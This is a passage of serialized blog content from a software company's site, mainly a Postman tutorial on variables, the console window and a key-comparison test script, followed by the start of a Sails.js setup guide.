",[403,8192,1696],{"id":1695},[11,8194,8195],{},[55,8196,8197],{"href":8197,"rel":8198},"https:\u002F\u002Fnuxt.com\u002F",[59],[11,8200,8201],{},[55,8202,8173],{"href":8173,"rel":8203},[59],[11,8205,8206],{},[55,8207,8188],{"href":8188,"rel":8208},[59],{"title":66,"searchDepth":67,"depth":67,"links":8210},[8211,8212,8213,8214,8215,8216,8221,8222,8236,8237],{"id":2654,"depth":67,"text":2655},{"id":6968,"depth":67,"text":6969},{"id":7032,"depth":67,"text":7033},{"id":7080,"depth":67,"text":7081},{"id":7092,"depth":67,"text":7093},{"id":7286,"depth":67,"text":7287,"children":8217},[8218,8219,8220],{"id":7290,"depth":1306,"text":7293},{"id":7305,"depth":1306,"text":7308},{"id":7314,"depth":1306,"text":7317},{"id":7346,"depth":67,"text":7347},{"id":7423,"depth":67,"text":7424,"children":8223},[8224,8225,8226,8227,8228,8229,8230,8231,8233,8234,8235],{"id":7427,"depth":1306,"text":7430},{"id":7452,"depth":1306,"text":7455},{"id":7501,"depth":1306,"text":7504},{"id":7651,"depth":1306,"text":7654},{"id":7697,"depth":1306,"text":7700},{"id":7758,"depth":1306,"text":7761},{"id":7795,"depth":1306,"text":7798},{"id":7808,"depth":1306,"text":8232},"Plugins ",{"id":7174,"depth":1306,"text":7828},{"id":7858,"depth":1306,"text":7861},{"id":8064,"depth":1306,"text":8065},{"id":3697,"depth":67,"text":3698},{"id":1695,"depth":67,"text":1696},"HIEU NGUYEN TRUNG","2024-02-07","Introduction Nuxt is an open-source JavaScript framework based on Vue.js. The latest version is currently Nuxt 3. Nuxt 3 is an upgrade from the Nuxt framework based on Vite, Vue 3, and Nitro with support from Typescript.Nuxt simplifies the development of web applications under Server-side rendering (SSR) and Static Site Generation (SSG) methods, in addition to other methods such as CSR, ISR, ESR, and SWR. Nuxt provides a structured and convention-based approach to building Vue.js applications, allowing developers to focus on developing features instead of dealing with complex configurations.",{},"\u002Fnews\u002Fnuxt-the-intuitive-web-framework",{"title":6955,"description":8240},"news\u002Fnuxt-the-intuitive-web-framework","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F28095600\u002Fnuxt-logo-png_seeklogo-460579.png","xy4s7JxEpQGdEogcPXvL8-_DTiBKkKZA8nNHDxsjeYM",{"id":8248,"title":8249,"body":8250,"category":1319,"created by":70,"date":8922,"description":8923,"extension":72,"meta":8924,"navigation":74,"path":8925,"sections":76,"seo":8926,"stem":8927,"thumbnail":8928,"__hash__":8929},"content_en\u002Fnews\u002Fpostman-va-mot-so-tinh-nang-huu-ich.md","POSTMAN AND USEFUL FEATURES",{"type":8,"value":8251,"toc":8913},[8252,8259,8262,8265,8269,8272,8280,8284,8287,8291,8295,8298,8311,8314,8317,8321,8331,8342,8349,8356,8363,8367,8371,8377,8383,8388,8392,8396,8413,8417,8426,8432,8438,8444,8449,8458,8462,8466,8472,8486,8491,8496,8500,8505,8509,8513,8518,8521,8526,8530,8535,8540,8544,8548,8551,8557,8561,8569,8579,8587,8596,8611,8626,8638,8653,8657,8665,8669,8674,8677,8681,8691,8694,8706,8710,8719,8727,8736,8745,8754,8771,8783,8797,8801,8816,8822,8826,8832,8843,8846,8850,8856,8868,8872,8878,8890,8893,8897,8901,8907],[11,8253,8254,8255,8258],{},"Since its first release in 2012, POSTMAN has gained over 25 million users for nearly a decade and has become the most popular tool used in API (",[20,8256,8257],{},"Application Programming Interface",") testing.",[11,8260,8261],{},"POSTMAN has various features, including the ability to send HTTP requests using methods such as POST, PUT, GET, and DELETE, to check returned data in formats such as JSON and XML, to manage requests using the Collection feature, and to share data with the Import \u002F Export feature. It is designed to be user-friendly and can be used by individuals without programming knowledge.",[11,8263,8264],{},"After a long time working with the basic features, you may also want to learn more advanced features of POSTMAN. If so, you should not miss the helpful information shared by Briswell Vietnam in this article.",[403,8266,8268],{"id":8267},"_1-install-postman","1. Install POSTMAN",[11,8270,8271],{},"As an open-source tool, you can easily download and install it from the following link.",[11,8273,8274,8275],{},"POSTMAN Homepage: ",[55,8276,8279],{"href":8277,"rel":8278},"https:\u002F\u002Fwww.postman.com\u002Fdownloads\u002F",[59],"https:\u002F\u002Fwww.POSTMAN.com\u002Fdownloads\u002F",[403,8281,8283],{"id":8282},"_2-useful-features","2. Useful Features",[11,8285,8286],{},"In addition to the basic features listed at the beginning of the article, POSTMAN also provides some advanced features as follows.",[565,8288,8290],{"id":8289},"_21-set-variable","2.1 Set Variable",[1693,8292,8294],{"id":8293},"_211-why-should-we-use-variables","2.1.1 Why should we use variables?",[11,8296,8297],{},"When working on requests within the same project, multiple values are often commonly used and repeatedly declared, such as domain names in URLs and Authorization values.",[11,8299,8300,8301,8305,8306,8310],{},"If the domain name changes or the Authorization value is updated to a new value, it is necessary to update the new value for each request, which can be time-consuming and prone to errors. As an example, during phase 1, the site's URL is set to ",[55,8302,8303],{"href":8303,"rel":8304},"https:\u002F\u002Fapi-example1.com\u002F",[59],". However, in phase 2, the site's URL is changed to ",[55,8307,8308],{"href":8308,"rel":8309},"https:\u002F\u002Fapi-example2.com\u002F",[59],". This would require a considerable amount of time to update the new domain name for all requests.",[11,8312,8313],{},"To solve this problem, POSTMAN provides five types of variables with different ranges, which include Global variables, Collection variables, Environment variables, Data variables and Local variables. By using a variable, when you need to update information such as the domain names in the URLs or Authorization values, simply access the variable's declared location and update the new value for the variable to call it. All requests with the current value are automatically updated to the latest value.",[11,8315,8316],{},"This article describes how to declare variables within the scope of a Collection (other variables are declared in the same way). In other words, a variable declared within a Collection is only valid within that Collection and its requests.",[1693,8318,8320],{"id":8319},"_212-declare-variables-in-postman-collection","2.1.2 Declare variables in POSTMAN Collection",[11,8322,8323,8324,8327,8328,878],{},"Step 1: Click the three dots icon (・・・) to the right of the ",[20,8325,8326],{},"Collection"," name and select ",[20,8329,8330],{},"Edit",[11,8332,8333,8334,8337,8338,8341],{},"Step 2: In the ",[20,8335,8336],{},"Edit Collection"," dropdown menu, select the ",[20,8339,8340],{},"Variables"," tab.",[11,8343,8344,8345,8348],{},"Step 3: In the ",[20,8346,8347],{},"VARIABLE"," column, enter the name of the variable you want to declare.",[11,8350,8351,8352,8355],{},"Step 4: In the ",[20,8353,8354],{},"CURRENT VALUE"," column, assign a value to the variable.",[11,8357,8358,8359,8362],{},"Step 5: Press the ",[20,8360,8361],{},"Save"," button.",[438,8364],{"className":8365,"alt":66,"src":8366,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26085721\u002FKhai-b%C3%A1o-bi%E1%BA%BFn_EN.png",[1693,8368,8370],{"id":8369},"_213-call-variable-in-request","2.1.3 Call variable in Request",[11,8372,8373,8374,878],{},"Step 1: Open the file ",[20,8375,8376],{},"Request",[11,8378,8379,8380],{},"Step 2: Call the variable using the format ",[612,8381,8382],{},"{{variable_name}}",[11,8384,8385,8386,8362],{},"Step 3: Press the ",[20,8387,8361],{},[438,8389],{"className":8390,"alt":66,"src":8391,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26090348\u002FG%E1%BB%8Di-bi%E1%BA%BFn_EN.png",[565,8393,8395],{"id":8394},"_22-console-window","2.2 Console window",[11,8397,8398,8399,8401,8402,8404,8405,8408,8409,8412],{},"Normally, we check the returned value on the ",[20,8400,654],{}," tab. However, for requests with a large number of parameters, it can be difficult to see the results in the ",[20,8403,654],{}," tab as we need to scroll down many times to check the information below. To solve this problem, we can use the ",[612,8406,8407],{},"console.log(pm.response.json())"," statement to print the returned value to the ",[20,8410,8411],{},"Console"," window and check if it's there.",[1693,8414,8416],{"id":8415},"_221-print-the-returned-value-to-the-console-window-using-the-statement-consolelogpmresponsejson","2.2.1 Print the returned value to the Console window using the statement console.log(pm.response.json()).",[11,8418,8419,8420,8422,8423,8425],{},"Step 1: Click on the ",[20,8421,8411],{}," icon in the bottom left corner of the screen to open the ",[20,8424,8411],{}," window.",[11,8427,8428,8429,8341],{},"Step 2: Select the ",[20,8430,8431],{},"Tests",[11,8433,8434,8435,8437],{},"Step 3: Write the ",[612,8436,8407],{}," statement.",[11,8439,8440,8441,8362],{},"Step 4: Press the ",[20,8442,8443],{},"Send",[11,8445,8446,8447,8425],{},"Step 5: View the returned information printed in the ",[20,8448,8411],{},[11,8450,8451,8452,8455,8456,8425],{},"Step 6: To delete the printed information, click the ",[20,8453,8454],{},"Clear"," button in the right corner of the ",[20,8457,8411],{},[438,8459],{"className":8460,"alt":66,"src":8461,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26091515\u002FC%E1%BB%ADa-s%E1%BB%95-Console_EN-1024x515.png",[1693,8463,8465],{"id":8464},"_222-about-the-statement-consolelogpmresponsejson","2.2.2 About the statement console.log(pm.response.json()).",[11,8467,8468,8469,8471],{},"The statement ",[612,8470,8407],{}," is composed of two components as follows:",[31,8473,8474,8480],{},[34,8475,8476,8479],{},[612,8477,8478],{},"console.log()",": a function used to print the value of the object being called.",[34,8481,8482,8485],{},[612,8483,8484],{},"pm.response.json()",": a syntax defined by POSTMAN to extract the information returned in the body.",[11,8487,8488],{},[20,8489,8490],{},"Example 1: The Response Body is an object, and we want to print out all the information returned in the body.",[11,8492,8493,8494,878],{},"→ Let's use the statement ",[612,8495,8407],{},[438,8497],{"className":8498,"alt":66,"src":8499,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26092620\u002FC%C3%A2u-l%E1%BB%87nh-console.log_V%C3%AD-d%E1%BB%A5-1_EN-1024x711.png",[11,8501,8502],{},[20,8503,8504],{},"Example 2: The Response Body is an array, and we want to print out all the information returned in the body.",[11,8506,8493,8507,878],{},[612,8508,8407],{},[438,8510],{"className":8511,"alt":66,"src":8512,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26093221\u002FC%C3%A2u-l%E1%BB%87nh-console.log_V%C3%AD-d%E1%BB%A5-2_EN-1024x574.png",[11,8514,8515],{},[20,8516,8517],{},"Example 3: The Response Body is an array, and we want to print only the information of the first object in that array.",[11,8519,8520],{},"In terms of the number and nature of response parameters, the objects in an array are equivalent, so it is only necessary to check the representation of one object.",[11,8522,8493,8523,878],{},[612,8524,8525],{},"console.log(pm.response.json()[0])",[438,8527],{"className":8528,"alt":66,"src":8529,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26093751\u002FC%C3%A2u-l%E1%BB%87nh-console.log_V%C3%AD-d%E1%BB%A5-3_EN-1024x717.png",[11,8531,8532],{},[20,8533,8534],{},"Example 4: The Response Body is an object, and we want to print the value of a specific response parameter in that object.",[11,8536,8493,8537,878],{},[612,8538,8539],{},"console.log(pm.response.json().{response parameter name})",[438,8541],{"className":8542,"alt":66,"src":8543,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26094459\u002FC%C3%A2u-l%E1%BB%87nh-console.log_V%C3%AD-d%E1%BB%A5-4_EN-1024x550.png",[565,8545,8547],{"id":8546},"_23-introduce-the-script-used-to-test-the-response-parameter","2.3 Introduce the Script used to test the response parameter",[11,8549,8550],{},"For Search APIs, it is common to encounter scenarios where there is an extra or missing response parameter returned as compared to the response parameter specified in the API specification. In such cases, we can use the following script to verify if the response parameter returned from the API matches the response parameters specified in the design in object units.",[605,8552,8555],{"className":8553,"code":8554,"language":610},[608],"let expectedKeys = []\nlet returnKeys = Object.keys(pm.response.json())\nfunction checkReturnKeys(expectedKeys,returnKeys){\n    let duplicatedExpectedKeysAray = expectedKeys.filter((item,index) => {\n        return expectedKeys.indexOf(item) !== index})\n    if (duplicatedExpectedKeysAray.length === 0) {\n        let missExpectedKeys = expectedKeys.filter((item) => !returnKeys.includes(item))\n        let redundantExpectedKeys = returnKeys.filter((item) => !expectedKeys.includes(item))\n        if(!_.isEqual(expectedKeys,returnKeys)){\n            if(missExpectedKeys.length !== 0 && redundantExpectedKeys.length !== 0){\n                console.log('Some parameters that are described in the specification are not being returned in the API response result, such as: '+missExpectedKeys+'. Please check again.')\n                console.log('Some parameters are being returned in the API response result that are not described in the specification, such as: '+redundantExpectedKeys+'. Please check again.')\n            }else if(missExpectedKeys.length !== 0){\n                console.log('Some parameters that are described in the specification are not being returned in the API response result, such as: '+missExpectedKeys+'. Please check again.')\n            }else{\n                console.log('Some parameters are being returned in the API response result that are not described in the specification, such as: '+redundantExpectedKeys+'. Please check again.')\n            }\n            return false;\n        }else{\n            console.log('The parameters returned from the API match those described in the specification.')\n            return true;\n        }\n    }else{\n        console.log('The expectedKeys array contains elements with duplicate names, such as: '+ duplicatedExpectedKeysAray+'. Please check again.')\n    }\n}\npm.test(\"Check return keys\", () => {\n    pm.expect(checkReturnKeys(expectedKeys.sort(),returnKeys.sort())).eql(true);\n});\n",[612,8556,8554],{"__ignoreMap":66},[1693,8558,8560],{"id":8559},"_231-how-the-above-script-works","2.3.1 How the above script works?",[31,8562,8563],{},[34,8564,8565,8566],{},"In the first line: ",[612,8567,8568],{},"let expectedKeys = []",[11,8570,8571,8572,8575,8576,1673],{},"→ The ",[20,8573,8574],{},"expectedKeys"," is an array that contains the response parameter name elements extracted from the API specification (",[20,8577,8578],{},"Expected Result",[31,8580,8581],{},[34,8582,8583,8584],{},"In the second line: ",[612,8585,8586],{},"let returnKeys = Object.keys(pm.response.json())",[11,8588,8571,8589,8592,8593,1673],{},[20,8590,8591],{},"returnKeys"," is an array that contains the response parameter name elements returned by executing API (",[20,8594,8595],{},"Actual Result",[31,8597,8598],{},[34,8599,8600,8601,8603,8604,8606,8607,8603,8609,1673],{},"The script compares the elements of the ",[20,8602,8574],{}," array (",[20,8605,8578],{},") with the ",[20,8608,8591],{},[20,8610,8595],{},[11,8612,8613,8614,8619,8620,8623,8624,8341],{},"→ If the two arrays match completely, the script returns a ",[8615,8616,8618],"b",{"style":8617},"color:green","PASS"," result in the ",[20,8621,8622],{},"Test Results"," and a notification message in the ",[20,8625,8411],{},[11,8627,8628,8629,8619,8632,8634,8635,8637],{},"→ If there is no match, the script returns a ",[8615,8630,8631],{"style":7467},"FAIL",[20,8633,8622],{}," tab and a notification message in the ",[20,8636,8411],{}," tab. Therefore, the following steps should be done before running the above script:",[31,8639,8640,8647],{},[34,8641,8642,8643,8646],{},"On the first line, copy and paste the response parameter names extracted from the API specification into the empty brackets ",[612,8644,8645],{},"[]"," to create the expectedKeys array.",[34,8648,8649,8650,8652],{},"On the second line, modify ",[612,8651,8484],{}," to retrieve the response parameter names returned by executing the API and creating the returnKeys array.",[1693,8654,8656],{"id":8655},"_232-execution-steps","2.3.2 Execution steps",[11,8658,8659,8661,8662,8664],{},[20,8660,431],{},": Paste the above script into the ",[20,8663,8431],{}," tab on POSTMAN.",[438,8666],{"className":8667,"alt":66,"src":8668,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26100828\u002FScript_B%C6%B0%E1%BB%9Bc-1_EN-1-1024x431.png",[11,8670,8671,8673],{},[20,8672,449],{},": Open the API specification and extract the names of the response parameters for the object that needs to be tested in the response section.",[11,8675,8676],{},"For example, the autoDisplaySearchId API has a main object as \"autoDisplay\" and child objects such as \"material\", \"laminate\", etc. The illustration below is a guide to extracting the response parameter for the main object, which is autoDisplay.",[438,8678],{"className":8679,"alt":66,"src":8680,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26101030\u002Fscript_B%C6%B0%E1%BB%9Bc-2_EN-1024x377.png",[11,8682,8683,8685,8686,8688,8689],{},[20,8684,459],{},": Paste the response parameter name extracted in step 2 into ",[612,8687,8645],{}," in the first line of the above script. Example: Before pasting: let expectedKeys = ",[612,8690,8645],{},[11,8692,8693],{},"After pasting:",[11,8695,8696,8697,507,8700,507,8703],{},"let expectedKeys = ",[612,8698,8699],{},"[\"id\",\"type\",\"code\",\"name\",\"width1\",\"width2\",\"paste\",\"unit\",\"laminateType\",",[612,8701,8702],{},"\"sort\",\"supplier\",\"maker\",\"settingDate\",\"beforeUnit\",\"comment\",\"disableFlag\",\"createdAt\",\"createdBy\",",[612,8704,8705],{},"\"createdUserName\",\"updatedAt\",\"updatedBy\",\"updatedUserName\"]",[438,8707],{"className":8708,"alt":66,"src":8709,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26101419\u002Fscript_B%C6%B0%E1%BB%9Bc-3_EN-1-1024x573.png",[11,8711,8712,8714,8715,8718],{},[20,8713,483],{},": In the second line of the above script, modify ",[612,8716,8717],{},"returnKeys = Object.keys(pm.response.json())"," to match the response parameter names returned by the API for the object being tested.",[11,8720,8721,8724,8725],{},[20,8722,8723],{},"Example 1",": The autoDisplaySearchId API returns an object. If the object to be tested is the \"autoDisplay\" object of the autoDisplaySearchId API, modify ",[612,8726,8717],{},[11,8728,8729,8732,8733],{},[20,8730,8731],{},"Example 2",": The autoDisplaySearchId API returns an object. If the object to be tested is the \"material\" object of the autoDisplaySearchId API, modify ",[612,8734,8735],{},"returnKeys = Object.keys(pm.response.json().material)",[11,8737,8738,8741,8742],{},[20,8739,8740],{},"Example 3",": The autoDisplaySearch API returns an array. If the object to be tested is the \"autoDisplay\" object of the autoDisplaySearch API, modify ",[612,8743,8744],{},"returnKeys = Object.keys(pm.response.json()[0])",[11,8746,8747,8750,8751],{},[20,8748,8749],{},"Example 4",": The autoDisplaySearch API returns an array. If the object to be tested is the \"material\" object of the autoDisplaySearch API, modify ",[612,8752,8753],{},"returnKeys = Object.keys(pm.response.json()[0].material)",[11,8755,8756,8757,8759,8760,8762,8763,8765,8766,8768,8769,8341],{},"Press the ",[20,8758,8443],{}," button to send the request and then check the ",[8615,8761,8618],{"style":8617}," \u002F ",[8615,8764,8631],{"style":7467}," results in the ",[20,8767,8622],{}," tab and confirm the notification message in the ",[20,8770,8411],{},[11,8772,8773,8776,8777,8779,8780,8782],{},[20,8774,8775],{},"Case 1",": If the elements in the ",[20,8778,8574],{}," array and the ",[20,8781,8591],{}," array match, the API returns the correct parameters according to the API specification without any missing or extra parameters.",[31,8784,8785,8791],{},[34,8786,8787,8788,8790],{},"Tab Test Results: Display ",[8615,8789,8618],{"style":8617}," result.",[34,8792,8793,8794],{},"Tab Console: Display the following message.\n",[612,8795,8796],{},"\"The parameters returned from the API match those described in the specification.\"",[438,8798],{"className":8799,"alt":66,"src":8800,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26105558\u002Fscript_check-result_case1_EN-2-1024x442.png",[11,8802,8803,8806,8807,8809,8810,8812,8813],{},[20,8804,8805],{},"Case 2",": The ",[20,8808,8574],{}," array contains the element with the same name.\n・Tab Test Results: Display ",[8615,8811,8631],{"style":7467}," result.\n・Tab Console: Display the following message.\n",[612,8814,8815],{},"\"The expectedKeys array contains elements with duplicate names, such as: {the same name element}. Please check again.\"",[11,8817,8818,8819,8821],{},"→ In this case, we need to check the ",[20,8820,8574],{}," array and remove any duplicates. After removing the duplicates, we can run the API again.",[438,8823],{"className":8824,"alt":66,"src":8825,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26103507\u002Fscript_check-result_case2_EN-1024x447.png",[11,8827,8828,8831],{},[20,8829,8830],{},"Case 3",": The API is returning the extra parameters that are not described in the API specification.",[31,8833,8834,8838],{},[34,8835,8787,8836,8790],{},[8615,8837,8631],{"style":7467},[34,8839,8793,8840],{},[612,8841,8842],{},"\"Some parameters are being returned in the API response result that are not described in the specification, such as: {parameter name}. Please check again.\"",[11,8844,8845],{},"→ In this case, we need to notify the developer to delete the extra parameters.",[438,8847],{"className":8848,"alt":66,"src":8849,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26103732\u002Fscript_check-result_case3_EN-1024x444.png",[11,8851,8852,8855],{},[20,8853,8854],{},"Case 4",": Do not return response parameters described in API specification.",[31,8857,8858,8862],{},[34,8859,8787,8860,8790],{},[8615,8861,8631],{"style":7467},[34,8863,8793,8864,8867],{},[612,8865,8866],{},"\"Some parameters that are described in the specification are not being returned in the API response result, such as: {parameter name}. Please check again.\""," → In this case, we need to notify the developer to add the missing parameters.",[438,8869],{"className":8870,"alt":66,"src":8871,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26103746\u002Fscript_check-result_case4_EN-1024x422.png",[11,8873,8874,8877],{},[20,8875,8876],{},"Case 5",": Returns both missing and extra response parameters compared to the API specification.",[31,8879,8880,8884],{},[34,8881,8787,8882,8790],{},[8615,8883,8631],{"style":7467},[34,8885,8793,8886,507,8888],{},[612,8887,8842],{},[612,8889,8866],{},[11,8891,8892],{},"→ In this case, we need to notify the developer to delete the extra parameter and add the missing parameter.",[438,8894],{"className":8895,"alt":66,"src":8896,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26103758\u002Fscript_check-result_case5_EN-1024x436.png",[403,8898,8900],{"id":8899},"_3-references","3. References",[11,8902,8903],{},[55,8904,8905],{"href":8905,"rel":8906},"https:\u002F\u002Flearning.postman.com\u002Fdocs\u002Fsending-requests\u002Fvariables\u002F",[59],[11,8908,8909],{},[55,8910,8911],{"href":8911,"rel":8912},"https:\u002F\u002Fgiangtester.com\u002Fcategory\u002Fapi-testing\u002Fpostman\u002F",[59],{"title":66,"searchDepth":67,"depth":67,"links":8914},[8915,8916,8921],{"id":8267,"depth":67,"text":8268},{"id":8282,"depth":67,"text":8283,"children":8917},[8918,8919,8920],{"id":8289,"depth":1306,"text":8290},{"id":8394,"depth":1306,"text":8395},{"id":8546,"depth":1306,"text":8547},{"id":8899,"depth":67,"text":8900},"2023-04-14","Since its first release in 2012, POSTMAN has gained over 25 million users for nearly a decade and has become the most popular tool used in API Application Programming Interface testing. POSTMAN has various features, including the ability to send HTTP requests using methods such as POST, PUT, GET, and DELETE, to check returned data in formats such as JSON and XML, to manage requests using the Collection feature, and to share data with the Import \u002F Export feature. It is designed to be user-friendly and can be used by individuals without programming knowledge.",{},"\u002Fnews\u002Fpostman-va-mot-so-tinh-nang-huu-ich",{"title":8249,"description":8923},"news\u002Fpostman-va-mot-so-tinh-nang-huu-ich","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F12155723\u002Fpostman_image-2.png","AGyLhoxx5KIrBXk_DfzeWPz5HrfOYLZW9Xwl21YMo1Y",{"id":8931,"title":8932,"body":8933,"category":8939,"created by":70,"date":8940,"description":259,"extension":72,"meta":8941,"navigation":74,"path":8942,"sections":76,"seo":8943,"stem":8944,"thumbnail":8945,"__hash__":8946},"content_en\u002Fnews\u002Frui-ro-va-kiem-thu.md","(日本語) リスクとテスト",{"type":8,"value":8934,"toc":8937},[8935],[11,8936,259],{},{"title":66,"searchDepth":67,"depth":67,"links":8938},[],[262,1319],"2025-02-24",{},"\u002Fnews\u002Frui-ro-va-kiem-thu",{"title":8932,"description":259},"news\u002Frui-ro-va-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F02\u002F18172547\u002FScreenshot-2025-02-18-171705.png","sOcmpN6S-tjOEdzSU_yxdCC4MNz68dRPixWyDREIpVI",{"id":8948,"title":8949,"body":8950,"category":1319,"created by":70,"date":9619,"description":9620,"extension":72,"meta":9621,"navigation":74,"path":9622,"sections":76,"seo":9623,"stem":9624,"thumbnail":9625,"__hash__":9626},"content_en\u002Fnews\u002Fsails-js-mvc-framework-node-js.md","Sails.js | MVC Framework for Node.js",{"type":8,"value":8951,"toc":9612},[8952,8954,8957,8977,8981,8984,8987,8990,8993,8996,8999,9002,9005,9011,9018,9024,9027,9033,9036,9042,9045,9049,9060,9063,9069,9072,9076,9079,9083,9087,9090,9094,9097,9100,9106,9112,9118,9124,9130,9136,9139,9142,9146,9149,9153,9156,9160,9163,9174,9178,9181,9195,9198,9204,9211,9215,9218,9221,9227,9234,9238,9257,9263,9266,9269,9272,9277,9280,9284,9292,9295,9301,9307,9313,9317,9320,9326,9332,9345,9349,9359,9366,9370,9377,9383,9387,9392,9396,9404,9408,9419,9423,9430,9434,9443,9447,9451,9455,9462,9466,9469,9473,9481,9485,9492,9496,9503,9507,9512,9516,9523,9527,9530,9534,9538,9541,9544,9548,9551,9554,9558,9561,9564,9568,9571,9574,9577,9579,9582,9584,9591,9598,9605],[395,8953,2655],{"id":2654},[11,8955,8956],{},"Sails.js is a popular MVC (Model-View-Controller) framework built on top of Node.js that simplifies building scalable and real-time web applications. In this tech blog, we will create a web app with Sails.js and set up a MySQL database connection. Additionally, we will compare Sails.js with Express.js, another widely used Node.js framework.",[11,8958,8959,8960,1341,8965,8970,8971,8976],{},"Sails.js is actively being used in the wild by companies like ",[55,8961,8964],{"href":8962,"rel":8963},"https:\u002F\u002Fwww.postman.com\u002F",[59],"Postman",[55,8966,8969],{"href":8967,"rel":8968},"https:\u002F\u002Fpaystack.com\u002F",[59],"Paystack",", and ",[55,8972,8975],{"href":8973,"rel":8974},"https:\u002F\u002Fdevmountain.com\u002F",[59],"DevMountain"," to build out their Web APIs to power their various clients.",[395,8978,8980],{"id":8979},"core-principles-of-sailsjs","Core Principles of sails.js",[11,8982,8983],{},"Convention over Configuration: Sails.js provides default values and sensible conventions to minimize configuration, this approach allows developers to focus on building their application's business logic instead of spending time on repetitive configuration tasks.",[11,8985,8986],{},"Model-View-Controller (MVC) Architecture: Sails.js follows the MVC architectural pattern, which helps in organizing code and separating concerns. The model represents the data and handles database operations, the view handles the presentation logic, and the controller acts as the intermediary between the model and the view, handling the application's business logic.",[11,8988,8989],{},"Automatic RESTful APIs: One of the key features of Sails.js is its ability to automatically generate RESTful APIs based on the defined models. By simply creating a model, Sails.js generates CRUD (Create, Read, Update, Delete) routes and controller actions, making it easy to build API endpoints for data manipulation.",[11,8991,8992],{},"Real-time Communication: Sails.js provides built-in support for real-time communication through WebSockets. This allows developers to build applications that can push data updates in real-time to connected clients. Sails.js utilizes the concept of \"pub\u002Fsub\" (publish\u002Fsubscribe) to enable real-time messaging between clients and the server.",[11,8994,8995],{},"Database Flexibility: Sails.js is database-agnostic, meaning it supports various databases such as MySQL, PostgreSQL, MongoDB, and more. Developers can choose the database that best suits their application's requirements and seamlessly integrate it with Sails.js using the Waterline ORM (Object-Relational Mapping).",[11,8997,8998],{},"Scalability and Performance: Sails.js is designed with the goal of easy scalability. It provides features like clustering and horizontal scaling, allowing multiple instances of the application to handle high traffic loads. Sails.js also offers performance optimizations, such as caching and asynchronous processing, to enhance the overall performance of the application.",[11,9000,9001],{},"Extensibility and Ecosystem: Sails.js has a vibrant ecosystem with a wide range of plugins and modules developed by the community. These plugins extend the functionality of Sails.js and provide additional features and integrations. The scalability of Sails.js allows developers to leverage the ecosystem to enhance their applications.",[11,9003,9004],{},"By embracing these core principles, Sails.js empowers developers to build scalable, maintainable, and real-time web applications efficiently. It streamlines the development process by providing conventions, automatic API generation, real-time communication, and database flexibility, enabling developers to focus on creating robust and feature-rich applications.",[395,9006,9008],{"id":9007},"getting-started-with-sailsjs",[20,9009,9010],{},"Getting Started with Sails.js",[11,9012,9013,9014,1673],{},"Ensure that you have Node.js installed on your machine. You can download the latest version from the official Node.js website (",[55,9015,9016],{"href":9016,"rel":9017},"https:\u002F\u002Fnodejs.org",[59],[565,9019,9021],{"id":9020},"install-sailsjs",[20,9022,9023],{},"Install Sails.js",[11,9025,9026],{},"Open your terminal or command prompt and run the following command to install the Sails CLI tool globally on your system.",[605,9028,9031],{"className":9029,"code":9030,"language":610},[608],"npm install -g sails\n",[612,9032,9030],{"__ignoreMap":66},[11,9034,9035],{},"To verify that Sails is installed run:",[605,9037,9040],{"className":9038,"code":9039,"language":610},[608],"sails -v\n",[612,9041,9039],{"__ignoreMap":66},[11,9043,9044],{},"The above command should return a version number if everything went successfully.",[565,9046,9048],{"id":9047},"creating-a-new-sails-application","Creating a new Sails application",[11,9050,9051,9052,9055,9056,9059],{},"To create a new Sails application, run the ",[612,9053,9054],{},"sails new"," command passing in the name of your application. This command will both generate a new Sails app and run ",[612,9057,9058],{},"npm install"," to install all dependencies for you.",[11,9061,9062],{},"Navigate to the directory where you want to create your Sails.js project using the terminal or command prompt. Then, run the following command:",[605,9064,9067],{"className":9065,"code":9066,"language":610},[608],"sails new 